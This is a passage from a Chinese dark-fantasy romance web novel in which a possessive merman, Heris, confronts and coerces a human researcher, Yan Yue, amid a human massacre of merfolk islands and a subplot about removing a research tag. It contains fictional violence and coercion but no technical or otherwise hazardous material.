里面空灵到没有任何感情。 像只是一片死寂的水。 被石子撞击后,也只有死气沉沉的涟漪。 他见过暴怒的赫瑞斯,见过阴沉的、冷漠的、狡猾精明的。 但唯独没见过这样的。 这让他如鲠在喉。 因为他确实为了安抚赫瑞斯,说过这样的话。 他把它留在了第七基地寒冷的冰川水中。 以为自己已经仁至义尽,但却被海底的魔鬼阴魂不散的缠上。 可到头来发现,原来这个魔咒是他自己施加在身上的。 他突然觉得那样的视线明明很空,却又十分复杂。 复杂到足以打破种族差异的天堑和灵魂的隔阂。 赫瑞斯说:“我知道你想要什么你要的我会给你” 蹼爪贴在他的脸颊一侧,它深深望着他。 “但如果你还想离开那我会杀了你反正你这里已经刻上了我的名字。” 蹼指从他的颈间滑到了胸膛正中央。 在它说完这句话的瞬间,晏越突然感觉震了一下。 丝毫不夸张的说,像是灵魂被一只手给捏住了。 “得到你的灵魂即便你无法变成人鱼也会永远和我在一起” 潮湿的气息纠缠在身侧,浓郁的血味猛地敲响了警钟。 晏越没有丝毫犹豫推开它。 因为赫瑞斯这个模样让他感觉它确实会这么干。 “你为什么一定要执着于把我变成人鱼,难道只是为了报复我曾囚禁过你吗?” 赫瑞斯听后,手里的动作一顿。 旋即,它的声音有些咬牙切齿。 “报复?” “如果我真想报复你你以为你会活到现在?” 它猛地揽住他的腰,尖锐的指甲划破了衣服。 但它没有下一步动作,反而是揽着晏越向某个地方高速游去。 晏越大喊着:“你要带我去哪?” 赫瑞斯没说话,嘴唇抿成一条直线,显然是藏着怒气。 它的速度快到他感觉水压几乎要将身体挤成碎块。 温热的液体从耳道流出,喉咙中也开始溢出血的味道。 等赫瑞斯终于停下时,晏越感觉自己半条命都要丢了。 但好在,他身上的高热奇异的消退了。 “看看吧。” 赫瑞斯冷漠的声音从头顶传来。 晏越勉强的睁开眼睛,但下一秒却被面前的景象给震撼住了。 这是一片燃烧在海洋上的火焰。 但火焰之中,似有许多灰黑的影子。 悲嚎声,恸哭声,卷着滔天的火焰直冲云霄。 他当场愣住,有些不敢相信。 “这就是,你们人类做的” 它的声音冷冰冰的。 第54章 第 54 章 不要用这双眼睛这么看我…… 哭喊声尖锐刺耳, 硝烟和炮火将天都烧红了半边。 肉眼可见,巨大的铁网捞着烧焦的影子粗暴的拖动。 然后下一秒,灰烬又瞬间消失, 留在他面前的只剩下一片焦土。 像是做了一场梦。 他神色复杂,望着那片成为焦土的海岛, 一时竟说不出话来。 赫瑞斯说:[那里是人鱼的岛屿, 你看到的,都是真实经历的。] 说完,它不等他缓过神来, 搂着他前往下一个岛屿。 不出晏越所料,这里也是一片焦土。 [在你离开后,人类找到了这里,那些人鱼并不知道人类怎么找到了这里, 它们愚蠢的以为这次最多只是失去几个同胞。] [但人类的目的不是捕抓,而是捕杀。] 赫瑞斯带他看了许多岛屿, 每一个都是一样的下场。 死亡和绝望在这片海域中肆虐。 [很多人鱼逃无可逃, 只能去其他岛屿躲避, 然后人类就追随着它们逃离的踪迹,将所有能见到的全部捕杀。] 潮湿的蹼爪犹如吸盘一样, 牢牢扣在他的后脑和后颈。 它略略俯低身子, 跟他保持一个平行的视线。 [能看到那里吗, 那个滩口。] [他们不要活的, 只要死的。] 它的声音明明没带着任何情绪, 但却显得格外沉。 [低头看看这片海。] 身下的这片海洋分明是蓝色的。 [那是人鱼的血。] 晏越突然感觉喉咙一痒,生性反胃想要干呕出来。 但他生生忍住了。 他脸色苍白,听着赫瑞斯简单的描述,却感觉自己仿若用肉眼就能看到惨烈的境况。 “所以这就是你要这样的原因?” 赫瑞斯的那些越界行为和所作所为, 他难以启齿,更是不愿提起。 赫瑞斯本就狭长的眸因为眯起而更显凌厉,眼底更是一片冷色。 [如果我是因为这个报复你,你不觉得太便宜你了?] “刺啦——” 衬衣的扣子被它扯崩开。 冰凉的蹼指抵在他的肋骨上,缓慢下滑。 晏越打了个冷颤,狠狠打开它的蹼爪。 “不要碰我。” 他极度抗拒它的触碰。 因为只要被它碰到,那些越界、背德又黏腻的记忆就会重新涌上来,不断想要击垮他作为人类的自尊心。 它喉结上下滑动,似是冷笑了一声。 [但你的身体并不是这么说的,你需要我。] 这句话彻底惹恼了晏越,他猛地推开它。 “因为你给我喂下了Muspora!” “但很可惜,我这辈子都不会变成谁的附庸,你必定会失望。” 因为愠怒,晏越的脸色有些红。 打湿的额发被他随意捋到脑后,漏出光洁的额头。 [但你已经来不及回头了,你即将变成人鱼。] 它嗓音低沉,有些轻微的卷舌。 这样的声音如果贴在耳畔说情话,必定会轻易让人沦陷。 可从它口中吐出来的话却让晏越觉得如坠冰窖。 晏越想要反驳,却听到它说:[没发现吗,你已经能听懂我的话了。] 带着戏谑的语气传入耳中,晏越当场愣住。 赫瑞斯没说,他也就没发现。 他现在已经不需要赫瑞斯说人话了,因为他能听懂人鱼的语言。 他想起什么低下头发现,自己刚刚只是不轻不重推了一下赫瑞斯,现在却离它很远。 这不是惯性可以做到的。 身体变得格外轻盈,水流让人感觉怀念。 梦又更靠近现实了。 他的身体越来越像人鱼了。 赫瑞斯看着面前的人类愣愣的看着自己的身躯,反复检查,似是不可置信。 它勾起唇角,在他面前高鸣。 晏越无比震撼,因为他发现自己能跟这种声音产生共鸣。 它的眼睛直直盯着他,似在挑衅。 但更多的是在告诉他,他的身体不会违背本能。 即便他把刚长出来的鳞片统统拔掉,即便最后他砍掉自己的四肢,也无法逃离海洋。 赫瑞斯看他那副愣神的模样,生出一丝怜爱,游到他面前说:“诺言,就要遵守。” 它低下头,在他裸露的胸口上轻轻蹭着,“你说过永远不会离开我,那就永远都留在我身边吧。” “只要你变成了人鱼,就永远不会背叛我了。” 青年忍无可忍,“就算我的身体变成人鱼,我也永远都是人类,无法跟你共情,你即使把我留在身边也没用。” 赫瑞斯听后,喉中发出“嗬嗬”的笑声,“我知道你想要人鱼的血去救那些无可救药的人类,真是天真。” “就像你利用我,你的同类一样会利用你。” 它又说,“但没关系,这次我会原谅你,可你也要为此付出代价。” 晏越心沉到谷底,人却越发冷静。 在赫瑞斯靠近的瞬间,猛地拽住它脖子下的皮质项圈,勒着它的脖子压着它,让它低下高傲的头颅。 “我利用你做实验,但你也同样利用了我活下去,如果不是我,你现在跟那些烂泥没有任何区别。” “不要太得意忘形了,赫瑞斯。” 赫瑞斯一愣,显然是没想到他在这时居然还能挣扎着嘴硬。 皮质项圈被猛地缩紧,呼吸变得费力,狭长的竖瞳略眯起来,可它却兴奋的舔舐了嘴角。 “你好久没有叫我的名字了。” 竖瞳中的迷恋更深了。 它任由他死死拉着皮质项圈,让自己呼吸困难,却轻柔地捧着他的脸颊。 晏越冷笑一声,握住它的蹼爪。 下一秒在赫瑞斯震惊的神色下,毫不犹豫刺向自己。 赫瑞斯脸色一变,制止住他的动作,但尖锐的指甲还是擦着他的脖颈划了过去。 浓郁的血汩汩地从白皙的脖颈中涌出。 赫瑞斯被惹恼,脸色阴沉,掌心捂在他的伤口上。 “你宁愿死,也不愿意留在我身边,是吗?” 青年清冷又倔强,仍不屈服。 “死?你太看得起自己了。” “别忘了你当初是因为什么才能活下来。” 赫瑞斯耳鳍微动,感觉胸口处传来痒意。 它皱起眉看着黑色的纹路未经它的允许,不断攀上身躯,撕扯智。 它们原本是静静盘在因为打架而造成的细小伤口周围,但现在却因为久违的血液开始躁动。 虽然晏越给它注射了药剂,让它永远不会成为污染物,但这并不代表从此以后污染就在它体内消失了。 他只是降低了污染因子的活跃度。 当初他用自己的血液当做了药引。 因此,即便它脱离了污染的掌控,却仍不会脱离对他血液的痴迷。 赫瑞斯不得不分出心神来压制体内躁动的污染。 晏越知道这并不能击溃这只人鱼,但起码让它难受一下还是能做到的。 赫瑞斯看穿了晏越的计谋,一把握住他的腰,让他动弹不得。 蔚蓝色的眼底似乎燃起了一把火。 它疯狂的想要将这个人彻底拥有,给予他其他人类祈求不来的力量。 允许他利用自己,以至于让整个种族都因此遭受了磨难。 但他非但不领情,却一而再再而三的惹恼它。 “你们人类,永远都是这样,违背自己的诺言。” 晏越冷漠的看着它。 它似乎显得更愤怒,却仍缓慢清晰地说: “不要,用这双眼睛,这么看我。” 就在这时,不远处传来一些躁动的声音。 赫瑞斯脸色一变,不由分说揽着他迅速离开。 “你要干什么?” 赫瑞斯没有回答他。 但接下来晏越也听到了奇怪的声音,像是有什么在高速靠近。 晏越不再问赫瑞斯到底发生了什么,因为生存的本能以及赫瑞斯的状态告诉他:来的东西不是什么善茬。 赫瑞斯将他带到一个岛屿旁,这个岛屿并没有像其他岛屿那样千疮百孔。 相反,这里还是原来的样子。 人类并没有发现这里。 赫瑞斯把他放到礁石旁后,立马有几只人鱼漏出头颅,冲着晏越尖锐地嘶鸣。 它们眼中满是怒火,愤怒到几乎下一刻就要冲上来撕碎他。 赫瑞斯比它们更凶狠暴戾的嘶吼回去,残酷地抓伤企图靠近的几只人鱼。 那些人鱼看到赫瑞斯暴怒的模样后缩了回去,但仍是不甘地盯着晏越。 但很快,它们的视线就被远方而来的东西吸引。 “在这呆着,等我回来。” 说完,赫瑞斯森冷地扫了一眼那些蠢蠢欲动的人鱼,用视线生生逼退了它们。 果然,在赫瑞斯离开后,它们不敢靠近了。 晏越不知道发生了什么,但是看到它们突然向两旁散开,让出了一条路。 一只银尾人鱼游了过来。 他还记得这只银尾人鱼。 赫瑞斯第一次把他带到岛屿上时,就是这只银尾人鱼跟它打了一架。 而且从周围这些人鱼的表现来看,这只银尾人鱼的地位很高。 就在他想要跟银尾人鱼沟通时,对面率先说话了。 [它果然还是给了你它的Muspora。] 银尾人鱼的话说完,周围的人鱼纷纷躁动起来。 四面八方投来的尖锐视线让他感觉非常不舒服。 [你利用了它对你的信任,引导人类攻击岛屿,我会将你钉在海神的骨柱上,让巨鹱啄食你肮脏的灵魂。] [至于它,它背叛了海神,同样会被驱逐出族群,所有被人类带走的人鱼都会被玷污灵魂,不配回到族群。] 银尾人鱼的话刚落地,其他的人鱼便开始迫不及待涌上来。 晏越听到后一顿,他没想到这只银尾人鱼居然就这么干脆利落。 可他就算死也不想这么憋屈的死,于是利落地爬上了礁石,好让那些人鱼离自己远一点。 在一只蹼爪即将抓到他的脚腕时间,他敏锐的发现了银尾人鱼脖颈上的细小红线。 他冲着银尾人鱼喊:“既然所有被人类带走的人鱼都会流放,你也不该留在这里。” 果然,银尾人鱼脸色一变,像是被戳到了什么痛处,冲着他漏出了獠牙。 第55章 第 55 章 每一次你都没有选择过我…… 银尾人鱼漏出尖锐的獠牙, 喉中发出的尖锐嘶鸣,一片片海浪猛拍礁石。 [如果不是因为你们,我又怎么会戴上这耻辱的东西!] 因为银尾人鱼的愤怒, 周围的人鱼纷纷退离。 晏越却轻松许多。 虽然激怒了银尾人鱼,但好在免于被其他围上来的人鱼夹击了。 它表情狰狞, 恶狠狠地说:[可笑赫瑞斯居然还主动带上那个恶心的东西, 明明是因为带着你回人鱼岛屿,我们才遭受了这种灭顶之灾,相比那些脏东西, 你们才是这个世界的蛀虫。] 它越说越愤怒,猛的冲了过去。 有只人鱼吓了一跳,小声提醒:[弗洛狄,它回来会生气的。] 弗洛狄火气大得很, 愤怒的冲着它吼到:[它被感染了,早就不是从前的它了!我杀了这个该死的人类, 一样会杀了赫瑞斯。] 弗洛狄灵活地攀上礁石, 尖锐的蹼爪就要冲着他的心脏突过去, 但却在即将碰到胸膛的前一秒停了下来。 因为它闻到了不一样的味道。 它的眼神突变,上下打量着他。 [原来是你?] 弗洛狄沉下脸, [我那愚蠢的同胞兄弟, 终于还是找到了你。] 晏越皱着眉, 不知道弗洛狄说的是什么意思, 但也不想被它牵着鼻子走。 他拉开了距离, 站在高处。 “我不管你们之间有什么仇怨,都跟我没关系,把我送走,让它无法找到我, 作为交换,我把这个替你洗掉。” 他指着弗洛狄脖子上的细小红线镌刻,平静地说。 弗洛狄眼神一变,像是发现了什么有意思的事情,凑近过来故意用人类的语言说: “它还真是可怜啊” “你还是要走” 晏越讨厌这种感觉。 赫瑞斯包括面前的人鱼看起来什么都知道,只有他被蒙在了鼓里。 他冷漠回击:“别废话。” 弗洛狄突然消了气,抿起嘴角看好戏一样。 “我怎么知道你不会骗我” 晏越说:“骗你对我没什么好处,镌刻标记在你身上,不是我身上,只要你答应我的要求我就能办到。” 弗洛狄眯起眼睛不说话,似乎是在考虑这桩交易的价值。 晏越知道弗洛狄在动摇,于是又说:“你不是很想让我远离它?这正合你意。” “你最好快一点,等赫瑞斯回来,你可就没有选择的余地了。” 弗洛狄扫了一眼赫瑞斯离开的方向,一把将他拽下来带进了一个洞穴。 洞穴冰冷潮湿,它轻松跃上岸边,将湿漉漉的头发摆到一边,仰起头颅对他说:“快点” 晏越看着它这个意思是在这里把镌刻洗掉。 没有器械,只有两只手,这简直是天方夜谭。 晏越冷漠地说:“这里不行。” 弗洛狄听到后立马变了脸,压低了声音,“你敢耍我?” 晏越觉得眼前这只人鱼脑袋也没那么好使,有些无语。 “没有东西,我怎么帮你洗。” 它的标记周围有许多伤疤,看起来是自己挠的。 但镌刻标记一旦打上,即便它把脖子上这层皮都挠掉也没办法消除。 “我现在只能看出来这个标记是哪里的研究人员刻上的。” 弗洛狄又犹豫了,眼神有些质疑。 晏越冷着脸,天之骄子三番五次被人质疑,任谁都会觉得不爽。 于是他说:“背对我,把标记序号给我看。” 弗洛狄臭着一张脸,警告他“你最好不要耍什么小聪明”,但还是老老实实把后颈上的标记序号给他看。 红线周围果然有一串冗长的代码,每一个数字代表的意义都不一样。 晏越对数字很敏感,且有过目不忘的本领,因此几乎是瞬间就辨认出来,给它打上镌刻标记的人就是出自于帝国。 地域代码后跟着一连串的复杂数字。 这是身份代码,是高级机密。 没有电子设备,他查不出来究竟是谁做的。 弗洛狄催促他:“看出来了吗” 晏越没它。 他在排除。 众所周知,实验人鱼是不能被放归的,镌刻标记只是一个好听的说法罢了。 这么久了,他从未听说过这件事。 因为如果这么做,这个人一定会受到免职处罚。 看来这件事是被压下来了。 可这些年,帝国藏得密不透风,究竟是谁? 在弗洛狄再三催促下,他终于说:“看出来了。” 弗洛狄猛地转过身,问:“是谁?他还活着吗?在哪里?” 看晏越不说话,弗洛狄更着急了,甚至想要威胁他。 “快说。” 晏越看它着急的模样,似乎并不是单纯的想要复仇。 “只能看出来是个跟我差不多年龄的人,叫什么在哪里不知道,我需要数据。” 果然,弗洛狄眼睛亮了一下。 “什么数据你想要去哪?” 晏越之前就判断出了大体位置,知道附近有个废弃基地,把方位告诉了弗洛狄。 弗洛狄思考片刻,问他:“你真的能找到那个人?” “如果你能找到那个人我会放你走” 说完,它又威胁他:“但你永远不要回来” 晏越当然求之不得。 弗洛狄让他在这里等着,去外面转了一圈,拎着他迅速离开这片岛屿。 到了废弃基地,弗洛狄寸步不离,紧紧盯着他。 晏越熟练地用自己的身份码登录进保密系统,在众多复杂的数字中寻找那个代码。 但这个代码已经被抹除了。 换句话说,这个人很有可能已经死了。 弗洛狄有些焦躁,银色的尾鳍不断拍打着地板。 “你到底能不能找到” 青年背对着它,说:“闭嘴。” 弗洛狄很不爽,但还是闭上了嘴巴。 好在这个基地因为废弃太久,许多数据都没有更新,他把目标放在了旧数据里。 ab0957u732 复杂的数字不断被破译,他终于在最后看到了那个名字。 白岩。 晏越几乎瞬间就印证了自己的想法。 许多年前,白岩跟北野圭的关系并不好。 非但不好,可以说是水火不容。 但某一天后,白岩突然就与北野圭为伍,且自愿接受手术摘除了前额叶。 他转过头看向不断用尾鳍拍打地板,正在嫌弃地扣墙皮的银尾人鱼。 看来它就是白岩这么做的由。 他突然忍不住“噗嗤”笑出了声。 声音在荒废空旷的控制室里环绕。 他笑是因为居然有人跟他一样,选择放归自己的试验品。 只是他们一个选择离开海洋,一个选择镌刻标记。 每一个人都没做到心狠,都留下了把柄。 所以赫瑞斯不惜跟污染融合也要回到帝国带走他,而弗洛狄也一直在寻找白岩。 它们两个外貌模样完全不一样的同胞兄弟,在某些方面来说又都是这么执着。 弗洛狄不知道他笑什么,没好气地问:“笑什么你找到了吗” 晏越告诉它“找到了,那个人没死,活的挺好的”,然后拿来工具,“行了,低下头,我给你洗掉。” 弗洛狄激动起来,“叫什么他叫什么在哪里等等!” 它握住晏越的手腕,制止住了他的动作。 晏越挑眉,“不洗了?” 弗洛狄眼一瞪,“洗你先告诉我他在哪里” 晏越不想跟它废话。 “告诉你又能怎么样,你要去找他?现在的他可是跟你印象里的人完全不一样了,即便你找他也没用。” 弗洛狄定定地看着他,想说什么,却又最终没说,让晏越将它脖子上那根伴随了许久的红线彻底洗净。 晏越按下回车,把信息传送给帝国,问还在摸着自己脖子愣神的人鱼:“你见过一只雌性人鱼吗?它叫贝芙丽。” 弗洛狄想了想,实诚地摇头。 “没听过。” 晏越说:“没听过就算了。” 看着晏越要离开,弗洛狄一把拉住他。 晏越问:“做什么?” 弗洛狄说:“你要去哪?如果我带你离开你告诉我为什么” 他想,人鱼确实都很固执。 固执地想要获得一个可能性,一个为什么。 可有些事情哪里是这么简单就能说明白的。 他突然觉得很烦躁。 自己的事情还没扯干净,他又凭什么去可怜别人。 “没有为什么,他能放你回归海洋就很好了,不要去追问为什么,镌刻我已经替你洗掉了,从现在开始不要让赫瑞斯找到我。” 弗洛狄不知道晏越为什么突然情绪变得激烈。 “什么叫这就很好了你们人类已经做出来这么多伤害我们的行为” 晏越无情甩开它的蹼爪。 “人鱼岛屿被攻击非我本意,我已经想了办法阻止这件事发生,接下来不会有人类会找到你们。” “回去后,我会调整药剂成分,未来都不会继续使用人鱼血了。” “我知道人类造下的杀孽需要去承罪弥补,但现在你每多拦我一秒,这种可能就多晚一分钟实现。” 弗洛狄被说通了,终于不再拦他。 在他离开前,弗洛狄突然叫住了他。 弗洛狄沉默片刻,告诉他:“它找了你很久很久它不会轻易放手的我只会帮你拖住片刻” 晏越无法解赫瑞斯为什么一定要这样,他气到笑出声。 “为什么?” 弗洛狄指着他的胸口,无比认真。 “它永远追随你的灵魂而来” 突然,基地的门被外力砸变形,弗洛狄脸色一变,想要挡在他面前。 “它来了” “轰——” 巨大的影子将铁门拽飞砸出去,苍白的蹼爪伸了进来。 它浑身是血,发丝垂在额前,只剩一双晦暗不明的眼睛。 低沉的声音像是沉重的雨点,在风暴中砸在脸上。 “为什么不等我?” 赫瑞斯问。 弗洛狄收起那副吊儿郎当的模样,认真起来。 可赫瑞斯连看都没看它的同胞兄弟一眼。 它对晏越说:“三次。” 晏越皱着眉不知道什么意思:“什么?” 赫瑞斯咧开嘴角,眸色冰冷。 “三次。每一次,你都没有选择过我。” 弗洛狄刚一张口,就被赫瑞斯以看不见的速度冲过来掐着脖子狠狠砸在墙上。 石板墙噼里啪啦掉着渣,弗洛狄猛地呕出一口血,鱼尾不断痉挛,失去了抵抗的能力。 赫瑞斯的话中不带任何情绪,它敛眸看着晏越。 “早知你每次都要离开,我就不该让你活着。” “起码在从前,你的灵魂仍在我身边。” 晏越突然感觉它十分陌生,陌生到似乎从未认识过它。 但同时,一股诡异的违和感席卷而来。 就像是他们在很早前就认识了。 第56章 第 56 章 说谎话是要被惩罚的…… 它刚经历了一场鏖战, 身上带着浓郁的血味。 苍白的蹼爪扣在他的脸颊上,牢牢固定住他的视线。 他只能直视那双残忍又冰冷的蓝色竖瞳。 像蓝色的旋涡要将一切席卷摧毁。 他突然感觉被攥紧了,然后一只无形的手要将他整个人都撕成两半。 这种痛苦与被同化成人鱼的痛完全不一样。 像是拿烈火反复灼烧本就残破不堪的灵魂, 让中间裂开的那个巨大的口子变得更大。 晏越扯着它坚实的胳膊,想要把它的蹼爪拿下来。 但扣在脸颊上的蹼爪像是铁箍, 任他如何努力也无法挪开半分。 他只能闭上眼睛, 可赫瑞斯那双竖瞳仍在脑海中挥之不去。 就在他挣扎着想要忘掉那双眼睛时,有什么不属于自己的记忆猝不及防地一股脑涌入。 他想起来了某个片段。 在一片细沙的岸边,他见到了赫瑞斯。 赫瑞斯背对着他, 听到了呼唤声转过头来。 只是它并没有动,只是远远看着他,眼神也陌生极了。 视线走动起来,“他”主动坐在赫瑞斯身边, 贴着它冰凉的鱼尾。 声音模糊无比,“他”看起来很羡慕那双鱼尾, 细细抚摸。 然后“他”看到赫瑞斯并没有收回鱼尾, 因为它的默许而开心。 “他”似乎说了什么, 让赫瑞斯的眼中有短暂的疑惑。 晏越很想知道,“他”到底说了什么, 会让赫瑞斯顿了许久, 甚至在认真思考。 低沉沙哑的声音此时真实地在耳边响起。 “你说过, 你想成为人鱼, 跟我一样。” 晏越愣住, 睁开眼睛当场反驳: “我从没说过,并且我永远都不会跟你一样。” 赫瑞斯的声音在他刚说完这句话便急促响起。 “是你,自己说的。” 晏越不知道它在发什么疯,但他相信自己绝对不可能说这样的话。 并且那个地方他明明从未去过! 他这辈子只跟随着父母去过一次南极点周围, 其余这二十多年都在帝国的土壤上长大。 怎么可能平白无故去这样一个像岛屿的地方,况且身边还有这样一只人鱼? “不可能。” 他直直盯着赫瑞斯的眼睛,一字一句道,无比笃定。 拢在脸颊上的蹼爪因为他的话而收紧了,蹼爪的主人正在强忍怒火。 下一刻,那个片段褪色了,明亮的细沙海滩变成了阴暗的洞穴。 “他”躺在洞穴里的水潭中,生命在不断流逝。 赫瑞斯过来,“他”应该很开心。 这些记忆带着某种情绪,清楚地传达到了这里。 一只形容枯槁的手无力地摸了摸它金色的鱼尾。 坚硬的鳞片下是无尽且浩荡的生命力。 “他”应该是有些遗憾的。 赫瑞斯低头看着,像神话中的神祇。 但它的眼神中没有任何的悲悯与怜惜,有的只有平静。 平静到像是看惯了,就像日出日落潮涨潮退,再正常不过了。 “他”说了什么,赫瑞斯最后答应了。 然后“他”应该是笑了,一直看着它。 剧痛从心脏处传来。 至此,晏越仍沉浸在这种遗憾的情绪中,直到赫瑞斯的声音将他的意识重新唤回。 他这才意识到,这是赫瑞斯想要给他看的东西。 “你到底想要告诉我什么,我说过了我不想变成人鱼跟你一样,并且永远都不会这么想。” 他对面前的人鱼更警惕了,整个人像个炸毛的刺猬。 而赫瑞斯知道,如果只是这样还不够。 所以它又给他看了最后一个东西,果然,青年不再挣扎了。 这是赫瑞斯的记忆,因为视野中是海洋。 它遇到了一艘小船,船上有两个年轻人类浑身是血。 男人搂着怀里的女人,紧闭着眼默默流泪。 他们身上的血多出自于这个女人。 女人的小腹隆起,此时生死未卜。 男人看到了它,开口问它能不能救救自己的妻子。 看赫瑞斯半天没动,男人意识到了什么,摇摇头自嘲般的笑了笑。 走投无路只能紧紧抱着怀里的人。 他清楚的知道,赫瑞斯之所以没动,是因为已经闻到了女人身上带着的死亡的气息。 又是一场落日。 然后它伸出湿漉漉的蹼爪,贴在女人的小腹上。 男人似乎知道它想要做什么,并没有阻止它,冲着它点了点头。 女人的血止住了。 它在她的小腹上留恋地看了许久,最后回到了海洋 湿润的吻细细密密落在额头上。 “你本来就应该属于我,你是我的所有物。” “我说过的,你永远无法离开我,是因为你也在渴望着我。” 赫瑞斯的话让晏越恼火,他的大脑一片混乱。 而且他实在是受够了这种被掌控的感觉。 就像是从开始就是他追逐着赫瑞斯,想要让它带走自己。 然后它找到了他,实现了自己的愿望。 可从被它带走的那一刻开始,走的每一步都不是他自愿的。 更何况赫瑞斯拥有可以入侵他梦境的能力。 他又凭什么认定这些记忆是真实的,而不是它篡改了记忆,这些是想要让自己看到的? 这些陌生又荒诞的记忆凭空挤进了他的脑袋,就要叫嚣着让他臣服。 凭什么因为这几个荒谬的片段,就认定了是他。 不顾他的意愿袭击帝国,把他掳走,又要固执的将他变成人鱼。 可那并不是他的记忆,也不是他做出的事,凭什么要让他承受。 如果不是因为赫瑞斯,他现在本该呆在帝国里,准备前往南极点周围的基地点。 什么无尽的寿命和强壮的身体,至始至终没有人问过他的意愿,问他愿不愿意。 原来自己的一生早就被设定好,像是一个完美代码,身边的人在不同的时间点操纵着他继续走下去。 他以为的可能性,也被写入了程序里。 所有人都知道,只有他被蒙在鼓里。 被不是人类的海底生物囚禁,像砧板上的鱼肉一样。 他狠狠咬下舌尖强迫自己冷静,眼眸赤红看着赫瑞斯。 “我说过,跟我没关系,你要找的人不是我,放开我!” 赫瑞斯眯起眼睛,故意延长了这种撕裂的折磨痛,想让他更清楚地记住。 但他偏偏不,抵抗着外来的入侵。 即便被逼的呼吸急促,窒息造成的生泪水从眼角滑落。 他仍无情冷漠的对峙着赫瑞斯。 半晌,赫瑞斯抿唇轻轻笑了。 它笑起来的模样格外具有诱惑力。 但这张脸此时此刻在晏越眼里,只让‘海妖’这两个字的形容更加生动贴切。 它说:“容不得,你拒绝了。” 突然,喉头一股痒意,毫无征兆的鲜血喷在它精壮的胸膛上。 可蹼爪却仍紧紧抓着他的胳膊,不愿意松开半分。 弗洛狄想要挣扎着爬起来但失败了,看到晏越宁死不屈的模样干着急。 它还没找到要找的人,不能这么就让晏越死了。 弗洛狄冲着赫瑞斯大喊,想要阻止赫瑞斯的动作。 毕竟晏越这么脆弱的人类,眼看着就要不行了。 “他接受不了这么强的刺激!” 而它的兄弟此时此刻像个被抢走玩具的孩子,固执的不愿意松手,死死捏着。 即便捏碎了,也不愿意让别人拿走。 从前之觉得赫瑞斯为了一个人类失去智十分疯狂,但现在它突然觉得其实赫瑞斯也很可怜。 它在海底等了很久很久,去了很多个地方,就只为找到自己心爱的玩具。 但现在找到了,东西却不是从前的东西了。 会后悔当时没有留下吗? 哪怕只有一刻。 赫瑞斯抓着晏越的双臂,语气中有些疯狂。 “是你先说想要跟我一样,也是你先说永远不会离开我。” “究竟为什么?” “为什么,明明是你说的。” 它蔚蓝色的竖瞳中藏着惊涛骇浪,现在的,从前的,积攒了太久。 晏越费劲吞下喉头涌出的血,让自己可以清晰的说话: “我骗你的。” 他像是报复一样,轻轻巧巧地说出这句话。 说完这句话后,又恶劣地看着赫瑞斯,明明白白告诉它,他坦白了。 他的声音很清晰,却又因为没力气,太轻了。 但落在赫瑞斯的耳中,却又太重了。 赫瑞斯眼底闪过一丝愕然,旋即被更深更浓的情绪取而代之。 它咧开嘴角,最后那点怜惜的温柔也被藏了起来。 然后,它看向他的眼神变了。 “刺啦——” 衬衣被暴力撕开,冷风迅速席上了肌肤。 晏越没想到它居然是这样的反应,更何况身边还有弗洛狄! 他猛地踹赫瑞斯坚硬的鱼尾,大喊: “你疯了?我说我是骗你的,我根本没想永远在你身边,我只是为了你的血制作药剂!” 赫瑞斯却说:“没关系,我早就知道了。” 它将他的双手高高束起,亲吻着他的胸膛。 “我会在你的灵魂上刻上我的名字,即便你现在不记得也没关系,这样以后你再也不会忘记我。” 唇下的身躯在冰凉的触碰下本能地缩了一下。 晏越震惊地看着赫瑞斯,觉得它是真的失心疯了。 可他宁愿赫瑞斯现在给自己一个痛快,而不是这样不堪的折磨。 “人鱼岛屿,也是我让人类去袭击的,那些都是我让他们去做的!” 赫瑞斯伸出獠牙,不听他的狡辩,刺入他的肌肤。 它一只蹼爪揽着他的腰,让他悬在半空,上上不去,下下不来。 晏越拼命挣扎,脚乱蹬,但这对它一点伤害都没有。 它认定了要这么做。 什么秘密在它摄人心魄的非人竖瞳下都会无所遁形。 它恶劣地轻咬他的耳廓,语气轻柔。 “说谎话,是要被惩罚的。” 第57章 第 57 章 还是要看他的意愿 赫瑞斯用尖锐的獠牙轻咬他的耳廓, 因为刺痛感,晏越抖了一下。 但很快这种刺痛感变成了痒意。 痒意像毒,迅速进入血液之中, 然后流遍全身。 因为人类对地面的执着,祈求一个安全感, 这种滞空对他来说十分不适。 所以在被托起的同一时刻, 他本能的收紧了腿,夹在它的腰侧。 此时浑身上下的支撑点,只有后脊上一只宽大的蹼爪。 细碎冰冷的吻一路下滑, 停留在肋骨周围,心脏附近。 晏越接受不了。 不知是因为费劲抬头导致血液不顺,还是因为这种背德感和廉耻心,整个脖子都通红。 他死死摁住赫瑞斯的脑袋, 用力抓着它金色的长发。 手心里的长发像上好的绸缎料子,顺滑到他几乎抓不住。 另一手拳起, 用骨节死死抵在下巴上, 企图让自己声音不再抖。 “放我下来!” 沙哑的声音从喉中发出来。 晏越猛的一愣, 白皙的脖颈更红了,说什么都不愿意再说第二句了。 赫瑞斯金色的耳鳍微微一动, 眯起了眼睛, 吻落的更快了。 它像是在品尝某种美味的牡蛎, 轻轻撬开壳。 先是优雅地品尝牡蛎的鲜美汤汁, 然后慢慢舔舐啃咬牡蛎肉。 它并不着急, 动作十分缓慢。 蔚蓝色的竖瞳埋在金色发丝中,紧盯着。 青年在挣扎的间隙中瞥眼看到了一只银色的鱼尾。 羞耻感伴随着巨大的愤怒席卷而来。 他奋力拽着手里的长发,强迫它抬起头颅。 冰冷湿润的唇从肌肤上分离出来,妖冶的脸侧旁的耳鳍一览无遗。 因为靠得近, 他甚至能看到耳鳍上的血管。 耳鳍也因为这具身体主人的兴奋而一抖一抖的。 每抖一下,都在清晰的提醒他: 面前的是一只人鱼。 晏越用力之大,骨节隐隐泛白。 但它却不甚在意,视线死死黏在他身上。 猛地咬下舌尖,让意识逐渐回归。 他冷着一张脸愤怒驳斥赫瑞斯:“我说了,放我下来!” 赫瑞斯看着他,然后舔了一下嘴唇。 挑衅极了。!这该死的人鱼! 晏越脸色骤变,像搁浅的鱼在滩涂上奋力挣扎。 弗洛狄从碎石渣子里费劲的爬出来。 虽然这个情况它知道自己最好保持沉默,让自己的同胞兄弟忘记自己的存在。 但显然赫瑞斯手里的青年并不是这么想的。 况且,它还要找到那个人类。 赫瑞斯显然是有些魔怔了,这样下去面前的这个人一定会恨上赫瑞斯。 甚至于牵扯到它,那它再找起来人就麻烦了。 “如果你要强行标记他的灵魂他会死” 话音刚落,金色的尾鳍以肉眼无法捕捉的速度狠狠砸过来,彰显着人鱼的暴戾。 即便是同胞的兄弟,赫瑞斯也不会因此而有丝毫的留情。 